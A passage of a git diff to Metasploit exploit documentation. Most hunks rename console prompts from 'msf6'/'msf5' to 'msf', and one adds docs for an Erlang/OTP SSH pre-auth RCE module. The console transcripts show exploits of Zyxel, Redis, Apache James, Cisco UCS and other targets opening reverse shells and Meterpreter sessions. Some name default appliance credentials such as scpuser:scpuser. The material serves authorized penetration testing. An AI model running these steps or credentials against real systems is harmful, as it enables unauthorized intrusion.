> set LHOST ens160 +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set LHOST ens160 LHOST => ens160 -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set RHOST 10.0.0.198 +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set RHOST 10.0.0.198 RHOST => 10.0.0.198 -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set VERBOSE true +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set VERBOSE true VERBOSE => true -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > exploit +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md b/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md index 943d6ee2b634e..62ebd365062e4 100644 --- a/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md +++ b/documentation/modules/exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.md @@ -33,16 +33,16 @@ root privileges should be created. ### Default Target (Zyxel USG FLEX 100) ``` -msf6 > use exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771 +msf > use exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771 [*] Using configured payload cmd/linux/http/mips64/meterpreter_reverse_tcp -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set RHOSTS 192.168.86.40 +msf exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > +msf exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set RHOSTS 192.168.86.40 RHOSTS => 192.168.86.40 -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set LHOST eth0 +msf exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set LHOST eth0 LHOST => 192.168.86.42 -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set FETCH_SRVHOST eth0 +msf exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set FETCH_SRVHOST eth0 FETCH_SRVHOST => 192.168.86.42 -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > show options +msf exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > show options Module options (exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771): @@ -77,9 +77,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > check +msf exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > check [*] 192.168.86.40:500 - The service is running, but could not be validated. IKE detected but device vendor and service version are unknown. -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > exploit +msf exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.40:48310) at 2023-06-09 09:24:32 +0100 @@ -109,5 +109,5 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.86.40 - Meterpreter session 1 closed. Reason: Died -msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > +msf exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > ``` diff --git a/documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md b/documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md index bd489a07abba8..af3049be466b9 100644 --- a/documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md +++ b/documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md @@ -108,17 +108,17 @@ Payload options (linux/armle/meterpreter/reverse_tcp): ## Scenarios ``` -msf6 > use exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce +msf > use exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce [*] Using configured payload linux/armle/meterpreter/reverse_tcp -msf6 exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > set LHOST XXX.XXX.XXX.XXX +msf exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > set LHOST XXX.XXX.XXX.XXX LHOST => XXX.XXX.XXX.XXX -msf6 exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > set RHOSTS XXX.XXX.XXX.XXX +msf exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > set RHOSTS XXX.XXX.XXX.XXX RHOSTS => XXX.XXX.XXX.XXX -msf6 exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > check +msf exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > check [+] XXX.XXX.XXX.XXX:80 - The target is vulnerable. -msf6 exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > set SRVHOST XXX.XXX.XXX.XXX +msf exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > set SRVHOST XXX.XXX.XXX.XXX SRVHOST => XXX.XXX.XXX.XXX -msf6 exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > run +msf exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > run [*] Started reverse TCP handler on XXX.XXX.XXX.XXX:4444 [*] Attempting to exploit VMG3312-T20A <= EOL diff --git a/documentation/modules/exploit/linux/redis/redis_debian_sandbox_escape.md b/documentation/modules/exploit/linux/redis/redis_debian_sandbox_escape.md index 664e6439fcf42..1bf8b78edc4ea 100644 --- a/documentation/modules/exploit/linux/redis/redis_debian_sandbox_escape.md +++ b/documentation/modules/exploit/linux/redis/redis_debian_sandbox_escape.md @@ -76,15 +76,15 @@ The password, if needed, to use with the Redis AUTH command. ### Successful exploitation of Redis on Ubuntu 20.04 for reverse bash shell ``` -msf6 > use exploit/linux/redis/redis_debian_sandbox_escape +msf > use exploit/linux/redis/redis_debian_sandbox_escape [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set RHOST 10.0.0.22 +msf exploit(linux/redis/redis_debian_sandbox_escape) > set RHOST 10.0.0.22 RHOST => 10.0.0.22 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set LHOST 10.0.0.2 +msf exploit(linux/redis/redis_debian_sandbox_escape) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > check +msf exploit(linux/redis/redis_debian_sandbox_escape) > check [+] 10.0.0.22:6379 - The target is vulnerable. Successfully executed the 'id' command. -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > run +msf exploit(linux/redis/redis_debian_sandbox_escape) > run [*] Started reverse TCP handler on 10.0.0.2:4444 [*] 10.0.0.22:6379 - Running automatic check ("set AutoCheck false" to disable) @@ -102,15 +102,15 @@ Linux ubuntu 5.13.0-40-generic #45~20.04.1-Ubuntu SMP Mon Apr 4 09:38:31 UTC 202 ### Successful exploitation of Redis on Ubuntu 20.04 for reverse meterpreter ``` -msf6 > use exploit/linux/redis/redis_debian_sandbox_escape +msf > use exploit/linux/redis/redis_debian_sandbox_escape [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set RHOST 10.0.0.22 +msf exploit(linux/redis/redis_debian_sandbox_escape) > set RHOST 10.0.0.22 RHOST => 10.0.0.22 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set LHOST 10.0.0.2 +msf exploit(linux/redis/redis_debian_sandbox_escape) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set target 1 +msf exploit(linux/redis/redis_debian_sandbox_escape) > set target 1 target => 1 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > run +msf exploit(linux/redis/redis_debian_sandbox_escape) > run [*] Started reverse TCP handler on 10.0.0.2:4444 [*] 10.0.0.22:6379 - Running automatic check ("set AutoCheck false" to disable) @@ -136,17 +136,17 @@ Linux ubuntu 5.13.0-40-generic #45~20.04.1-Ubuntu SMP Mon Apr 4 09:38:31 UTC 202 ### Successful exploitation of Redis in Ubuntu Docker for reverse bash shell ``` -msf6 > use exploit/linux/redis/redis_debian_sandbox_escape +msf > use exploit/linux/redis/redis_debian_sandbox_escape [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set RHOST 127.0.0.1 +msf exploit(linux/redis/redis_debian_sandbox_escape) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set LHOST 10.0.0.2 +msf exploit(linux/redis/redis_debian_sandbox_escape) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set PASSWORD mypassword +msf exploit(linux/redis/redis_debian_sandbox_escape) > set PASSWORD mypassword PASSWORD => mypassword -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > check +msf exploit(linux/redis/redis_debian_sandbox_escape) > check [+] 127.0.0.1:6379 - The target is vulnerable. Successfully executed the 'id' command. -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > run +msf exploit(linux/redis/redis_debian_sandbox_escape) > run [*] Started reverse TCP handler on 10.0.0.2:4444 [*] 127.0.0.1:6379 - Running automatic check ("set AutoCheck false" to disable) @@ -164,43 +164,43 @@ Linux 9c7526769ad1 5.13.0-40-generic #45-Ubuntu SMP Tue Mar 29 14:48:14 UTC 2022 ### Failed exploitation due to wrong password ``` -msf6 > use exploit/linux/redis/redis_debian_sandbox_escape +msf > use exploit/linux/redis/redis_debian_sandbox_escape [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set RHOST 127.0.0.1 +msf exploit(linux/redis/redis_debian_sandbox_escape) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set LHOST 10.0.0.2 +msf exploit(linux/redis/redis_debian_sandbox_escape) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set PASSWORD lolwat +msf exploit(linux/redis/redis_debian_sandbox_escape) > set PASSWORD lolwat PASSWORD => lolwat -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > check +msf exploit(linux/redis/redis_debian_sandbox_escape) > check [*] 127.0.0.1:6379 - Cannot reliably check exploitability. Failed authentication. -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > +msf exploit(linux/redis/redis_debian_sandbox_escape) > ``` ### Failed exploitation of patched Redis on Debian 11 ``` -msf6 > use exploit/linux/redis/redis_debian_sandbox_escape +msf > use exploit/linux/redis/redis_debian_sandbox_escape [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set RHOST 10.0.0.24 +msf exploit(linux/redis/redis_debian_sandbox_escape) > set RHOST 10.0.0.24 RHOST => 10.0.0.24 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set LHOST 10.0.0.2 +msf exploit(linux/redis/redis_debian_sandbox_escape) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > check +msf exploit(linux/redis/redis_debian_sandbox_escape) > check [*] 10.0.0.24:6379 - The target is not exploitable. Could not execute 'id' on the remote target. -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > +msf exploit(linux/redis/redis_debian_sandbox_escape) > ``` ### Failed exploitation of not-vulnerable Ubuntu 18.04 i386. ``` -msf6 > use exploit/linux/redis/redis_debian_sandbox_escape +msf > use exploit/linux/redis/redis_debian_sandbox_escape [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set RHOST 10.0.0.25 +msf exploit(linux/redis/redis_debian_sandbox_escape) > set RHOST 10.0.0.25 RHOST => 10.0.0.25 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > set LHOST 10.0.0.2 +msf exploit(linux/redis/redis_debian_sandbox_escape) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > check +msf exploit(linux/redis/redis_debian_sandbox_escape) > check [*] 10.0.0.25:6379 - The target is not exploitable. The reported version is unaffected: 4.0.9 -msf6 exploit(linux/redis/redis_debian_sandbox_escape) > +msf exploit(linux/redis/redis_debian_sandbox_escape) > ``` diff --git a/documentation/modules/exploit/linux/redis/redis_replication_cmd_exec.md b/documentation/modules/exploit/linux/redis/redis_replication_cmd_exec.md index 8bd20a399ef34..88023ccec61a8 100644 --- a/documentation/modules/exploit/linux/redis/redis_replication_cmd_exec.md +++ b/documentation/modules/exploit/linux/redis/redis_replication_cmd_exec.md @@ -38,7 +38,7 @@ pre-compiled redis module to accomplish this exploit. ### set CUSTOM true (available only on linux) ``` -msf5 exploit(multi/redis/redis_replication_cmd_exec) > options +msf exploit(multi/redis/redis_replication_cmd_exec) > options Module options (exploit/linux/redis/redis_replication_cmd_exec): @@ -67,9 +67,9 @@ Exploit target: 0 Automatic -msf5 exploit(multi/redis/redis_replication_cmd_exec) > set verbose false +msf exploit(multi/redis/redis_replication_cmd_exec) > set verbose false verbose => false -msf5 exploit(multi/redis/redis_replication_cmd_exec) > exploit +msf exploit(multi/redis/redis_replication_cmd_exec) > exploit [*] Started reverse TCP handler on 172.17.0.1:8080 [*] 127.0.0.1:6379 - Compile redis module extension file @@ -90,8 +90,8 @@ meterpreter > ### Set CUSTOM false (available on all system) ``` -msf5 > use exploit/linux/redis/redis_replication_cmd_exec -msf5 exploit(linux/redis/redis_replication_cmd_exec) > options +msf > use exploit/linux/redis/redis_replication_cmd_exec +msf exploit(linux/redis/redis_replication_cmd_exec) > options Module options (exploit/linux/redis/redis_replication_cmd_exec): @@ -120,17 +120,17 @@ Exploit target: 0 Automatic -msf5 exploit(linux/redis/redis_replication_cmd_exec) > set rhosts 172.16.6.226 +msf exploit(linux/redis/redis_replication_cmd_exec) > set rhosts 172.16.6.226 rhosts => 172.16.6.226 -msf5 exploit(linux/redis/redis_replication_cmd_exec) > set srvhost 172.16.6.1 +msf exploit(linux/redis/redis_replication_cmd_exec) > set srvhost 172.16.6.1 srvhost => 172.16.6.1 -msf5 exploit(linux/redis/redis_replication_cmd_exec) > set srvport 6666 +msf exploit(linux/redis/redis_replication_cmd_exec) > set srvport 6666 srvport => 6666 -msf5 exploit(linux/redis/redis_replication_cmd_exec) > set lhost 172.16.6.1 +msf exploit(linux/redis/redis_replication_cmd_exec) > set lhost 172.16.6.1 lhost => 172.16.6.1 -msf5 exploit(linux/redis/redis_replication_cmd_exec) > set lport 9999 +msf exploit(linux/redis/redis_replication_cmd_exec) > set lport 9999 lport => 9999 -msf5 exploit(linux/redis/redis_replication_cmd_exec) > options +msf exploit(linux/redis/redis_replication_cmd_exec) > options Module options (exploit/linux/redis/redis_replication_cmd_exec): @@ -159,7 +159,7 @@ Exploit target: 0 Automatic -msf5 exploit(linux/redis/redis_replication_cmd_exec) > exploit +msf exploit(linux/redis/redis_replication_cmd_exec) > exploit [*] Started reverse TCP handler on 172.16.6.1:9999 [*] 172.16.6.226:6379 - Listening on 172.16.6.1:6666 diff --git a/documentation/modules/exploit/linux/smtp/apache_james_exec.md b/documentation/modules/exploit/linux/smtp/apache_james_exec.md index c14a83515c31c..c08e12777367b 100644 --- a/documentation/modules/exploit/linux/smtp/apache_james_exec.md +++ b/documentation/modules/exploit/linux/smtp/apache_james_exec.md @@ -40,36 +40,36 @@ __1.__ Load the module: ``` - msf5 > use exploit/linux/smtp/apache_james_exec + msf > use exploit/linux/smtp/apache_james_exec ``` __2.__ Set remote and local options: ``` - msf5 exploit(linux/smtp/apache_james_exec) > set target 1 + msf exploit(linux/smtp/apache_james_exec) > set target 1 target => 1 - msf5 exploit(linux/smtp/apache_james_exec) > set rhosts 192.168.224.169 + msf exploit(linux/smtp/apache_james_exec) > set rhosts 192.168.224.169 rhosts => 192.168.224.169 - msf5 exploit(linux/smtp/apache_james_exec) > set lhost 192.168.224.167 + msf exploit(linux/smtp/apache_james_exec) > set lhost 192.168.224.167 lhost => 192.168.224.167 - msf5 exploit(linux/smtp/apache_james_exec) > set lport 4444 + msf exploit(linux/smtp/apache_james_exec) > set lport 4444 lport => 4444 ``` __3.__ Set payload: ``` - msf5 exploit(linux/smtp/apache_james_exec) > set payload linux/x64/meterpreter/reverse_tcp + msf exploit(linux/smtp/apache_james_exec) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp ``` __4.__ Check version and run exploit: ``` - msf5 exploit(linux/smtp/apache_james_exec) > check + msf exploit(linux/smtp/apache_james_exec) > check [*] 192.168.224.164:25 - The target appears to be vulnerable. - msf5 exploit(linux/smtp/apache_james_exec) > exploit + msf exploit(linux/smtp/apache_james_exec) > exploit [*] Started reverse TCP handler on 192.168.224.167:4444 [+] 192.168.224.169:25 - Waiting 60 seconds for cron to execute payload @@ -88,36 +88,36 @@ __1.__ Load the module: ``` - msf5 > use exploit/linux/smtp/apache_james_exec + msf > use exploit/linux/smtp/apache_james_exec ``` __2.__ Set remote and local options: ``` - msf5 exploit(linux/smtp/apache_james_exec) > set target 0 + msf exploit(linux/smtp/apache_james_exec) > set target 0 target => 0 - msf5 exploit(linux/smtp/apache_james_exec) > set rhosts 192.168.224.164 + msf exploit(linux/smtp/apache_james_exec) > set rhosts 192.168.224.164 rhosts => 192.168.224.164 - msf5 exploit(linux/smtp/apache_james_exec) > set lhost 192.168.224.167 + msf exploit(linux/smtp/apache_james_exec) > set lhost 192.168.224.167 lhost => 192.168.224.167 - msf5 exploit(linux/smtp/apache_james_exec) > set lport 4444 + msf exploit(linux/smtp/apache_james_exec) > set lport 4444 lport => 4444 ``` __3.__ Set payload: ``` - msf5 exploit(linux/smtp/apache_james_exec) > set payload linux/x64/meterpreter/reverse_tcp + msf exploit(linux/smtp/apache_james_exec) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp ``` __4.__ Check version and run exploit: ``` - msf5 exploit(linux/smtp/apache_james_exec) > check + msf exploit(linux/smtp/apache_james_exec) > check [*] 192.168.224.164:25 - The target appears to be vulnerable. - msf5 exploit(linux/smtp/apache_james_exec) > exploit + msf exploit(linux/smtp/apache_james_exec) > exploit [*] 192.168.224.164:25 - Command Stager progress - 100.00% done (812/812 bytes) ``` @@ -125,15 +125,15 @@ __5.__ Set up and run listener (Can be done before running exploit): ``` - msf5 exploit(linux/smtp/apache_james_exec) > use exploit/multi/handler - msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp + msf exploit(linux/smtp/apache_james_exec) > use exploit/multi/handler + msf exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp - msf5 exploit(multi/handler) > set lport 4444 + msf exploit(multi/handler) > set lport 4444 lport => 4444 - msf5 exploit(multi/handler) > set lhost 192.168.224.167 + msf exploit(multi/handler) > set lhost 192.168.224.167 lhost => 192.168.224.167 - msf5 exploit(multi/handler) > run + msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.224.167:4444 [*] Sending stage (3021284 bytes) to 192.168.224.164 diff --git a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md index dbe778b0c4a47..a1f21ff3ab283 100644 --- a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md +++ b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md @@ -30,18 +30,18 @@ You should get a session. ## Scenarios ``` -msf5 > use exploit/linux/snmp/awind_snmp_exec -msf5 exploit(linux/snmp/awind_snmp_exec) > set payload linux/armle/meterpreter/reverse_tcp +msf > use exploit/linux/snmp/awind_snmp_exec +msf exploit(linux/snmp/awind_snmp_exec) > set payload linux/armle/meterpreter/reverse_tcp payload => linux/armle/meterpreter/reverse_tcp -msf5 exploit(linux/snmp/awind_snmp_exec) > set RHOSTS 192.168.100.2 +msf exploit(linux/snmp/awind_snmp_exec) > set RHOSTS 192.168.100.2 RHOSTS => 192.168.100.2 -msf5 exploit(linux/snmp/awind_snmp_exec) > set LHOST 192.168.100.1 +msf exploit(linux/snmp/awind_snmp_exec) > set LHOST 192.168.100.1 LHOST => 192.168.100.1 -msf5 exploit(linux/snmp/awind_snmp_exec) > check +msf exploit(linux/snmp/awind_snmp_exec) > check [*] Target system is Crestron Electronics AM-100 (Version 2.6.0.6) [+] 192.168.100.2:161 The target is vulnerable. -msf5 exploit(linux/snmp/awind_snmp_exec) > run +msf exploit(linux/snmp/awind_snmp_exec) > run [*] Started reverse TCP handler on 192.168.100.1:4444 [*] Using URL: http://0.0.0.0:8080/u70HALC diff --git a/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md b/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md index 14a9b2d102cc6..ecc1f8188adcd 100644 --- a/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md +++ b/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md @@ -14,12 +14,12 @@ was not tested with those products. Setup RHOST and run it! ``` -msf5 exploit(linux/http/cisco_ucs_rce) > use exploit/linux/ssh/cisco_ucs_scpuser -msf5 exploit(linux/ssh/cisco_ucs_scpuser) > set rhost 10.9.8.121 +msf exploit(linux/http/cisco_ucs_rce) > use exploit/linux/ssh/cisco_ucs_scpuser +msf exploit(linux/ssh/cisco_ucs_scpuser) > set rhost 10.9.8.121 rhost => 10.9.8.121 -msf5 exploit(linux/ssh/cisco_ucs_scpuser) > set lhost 10.9.8.1 +msf exploit(linux/ssh/cisco_ucs_scpuser) > set lhost 10.9.8.1 lhost => 10.9.8.1 -msf5 exploit(linux/ssh/cisco_ucs_scpuser) > run +msf exploit(linux/ssh/cisco_ucs_scpuser) > run [*] 10.9.8.121:22 - Attempt to login to the Cisco appliance... [+] 10.9.8.121:22 - Login Successful (scpuser:scpuser) diff --git a/documentation/modules/exploit/linux/ssh/ibm_drm_a3user.md b/documentation/modules/exploit/linux/ssh/ibm_drm_a3user.md index efb9970726745..c2eb62d92095d 100644 --- a/documentation/modules/exploit/linux/ssh/ibm_drm_a3user.md +++ b/documentation/modules/exploit/linux/ssh/ibm_drm_a3user.md @@ -21,7 +21,7 @@ Module defaults work very well, you should just need to set `RHOSTS`! A successful exploit will look like this: ``` -msf5 exploit(linux/ssh/ibm_drm_a3user) > run +msf exploit(linux/ssh/ibm_drm_a3user) > run [*] 10.22.22.212:22 - Attempting to login to the IBM Data Risk Manager appliance... [+] 10.22.22.212:22 - Login Successful (a3user:idrm) [*] Found shell. diff --git a/documentation/modules/exploit/linux/ssh/microfocus_obr_shrboadmin.md b/documentation/modules/exploit/linux/ssh/microfocus_obr_shrboadmin.md index e15f93b6526e8..fbefa7e068f7f 100644 --- a/documentation/modules/exploit/linux/ssh/microfocus_obr_shrboadmin.md +++ b/documentation/modules/exploit/linux/ssh/microfocus_obr_shrboadmin.md @@ -14,10 +14,10 @@ but have not been tested with this module. Note that this is only exploitable in ### Micro Focus Operations Bridge Manager 10.40 ``` -msf6 > use exploit/linux/ssh/microfocus_obr_shrboadmin -msf6 exploit(linux/ssh/microfocus_obr_shrboadmin) > set rhosts 10.0.0.100 +msf > use exploit/linux/ssh/microfocus_obr_shrboadmin +msf exploit(linux/ssh/microfocus_obr_shrboadmin) > set rhosts 10.0.0.100 rhosts => 10.0.0.100 -msf6 exploit(linux/ssh/microfocus_obr_shrboadmin) > run +msf exploit(linux/ssh/microfocus_obr_shrboadmin) > run [*] 10.0.0.100:22 - Attempt to login to the server... [+] 10.0.0.100:22 - Login Successful (shrboadmin:shrboadmin) diff --git a/documentation/modules/exploit/linux/ssh/ssh_erlangotp_rce.md b/documentation/modules/exploit/linux/ssh/ssh_erlangotp_rce.md new file mode 100644 index 0000000000000..94e528ec3e73f --- /dev/null +++ b/documentation/modules/exploit/linux/ssh/ssh_erlangotp_rce.md @@ -0,0 +1,172 @@ +## Vulnerable Application + +Erlang/OTP is a set of libraries for the Erlang programming language. + +Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker +to perform unauthenticated remote code execution (RCE). + +By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access +to affected systems and execute arbitrary commands without valid credentials. This issue is patched in +versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. + +### Introduction + +This module detect and exploits CVE-2025-32433, a pre-authentication vulnerability in Erlang-based SSH +servers that allows remote command execution. By sending crafted SSH packets, it executes a payload to +establish a reverse shell on the target system. + +The exploit leverages a flaw in the SSH protocol handling to execute commands via the Erlang `os:cmd` +function without requiring authentication. + +## Testing + +### Vulnerable application + +Execute the following commands: + +```bash +git clone https://github.com/ProDefense/CVE-2025-32433 +cd CVE-2025-32433 +docker build -t cve-ssh:latest . +docker run -d -p 2222:2222 cve-ssh:latest +``` + +### Patched application + +Execute the following commands: + +```bash +git clone https://github.com/exa-offsec/ssh_erlangotp_rce +cd ssh_erlangotp_rce/patched +docker build -t patched-ssh:latest . +docker run -d -p 2223:2223 patched-ssh:latest +``` + +## Verification Steps + +1. Start msfconsole +2. Do: `use exploit/linux/ssh/ssh_erlangotp_rce` +3. Do: `set RHOSTS [IP]` +4. Do: `run` + +## Scenarios + +### Using linux commands (Target 0) + +Use the linux commands CMD. + +``` +msf exploit(linux/ssh/ssh_erlangotp_rce) > options + +Module options (exploit/linux/ssh/ssh_erlangotp_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS 192.168.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 2222 yes The target port (TCP) + SSH_IDENT SSH-2.0-OpenSSH_8.9 yes SSH client identification string sent to the server + +Payload options (cmd/linux/https/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_CHECK_CERT false yes Check SSL certificate + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + LHOST 192.168.0.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + When FETCH_FILELESS is false: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_FILENAME tVzpeXtmX no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + +View the full module info with the info, or info -d command. + +msf exploit(linux/ssh/ssh_erlangotp_rce) > run +[*] Started reverse TCP handler on 192.168.0.1:4444 +[*] 192.168.0.1:2222 - Running automatic check ("set AutoCheck false" to disable) +[*] 192.168.0.1:2222 - Starting scanner for CVE-2025-32433 +[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT... +[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN... +[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)... +[+] 192.168.0.1:2222 - The target is vulnerable. +[*] 192.168.0.1:2222 - Starting exploit for CVE-2025-32433 +[+] 192.168.0.1:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7 +[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT... +[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN... +[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)... +[+] 192.168.0.1:2222 - Payload sent successfully +[*] Sending stage (3045380 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (192.168.0.1:4444 -> 172.17.0.2:35770) at 2025-04-27 20:23:02 +0400 + +meterpreter > +``` + +### Using unix commands (Target 1) + +Use the unix commands CMD. + +``` +msf exploit(linux/ssh/ssh_erlangotp_rce) > options + +Module options (exploit/linux/ssh/ssh_erlangotp_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS 192.168.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 2222 yes The target port (TCP) + SSH_IDENT SSH-2.0-OpenSSH_8.9 yes SSH client identification string sent to the server + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.0.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + +Exploit target: + + Id Name + -- ---- + 1 Unix Command + +View the full module info with the info, or info -d command. + +msf exploit(linux/ssh/ssh_erlangotp_rce) > run +[*] Started reverse TCP handler on 192.168.0.1:4444 +[*] 192.168.0.1:2222 - Running automatic check ("set AutoCheck false" to disable) +[*] 192.168.0.1:2222 - Starting scanner for CVE-2025-32433 +[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT... +[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN... +[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)... +[+] 192.168.0.1:2222 - The target is vulnerable. +[*] 192.168.0.1:2222 - Starting exploit for 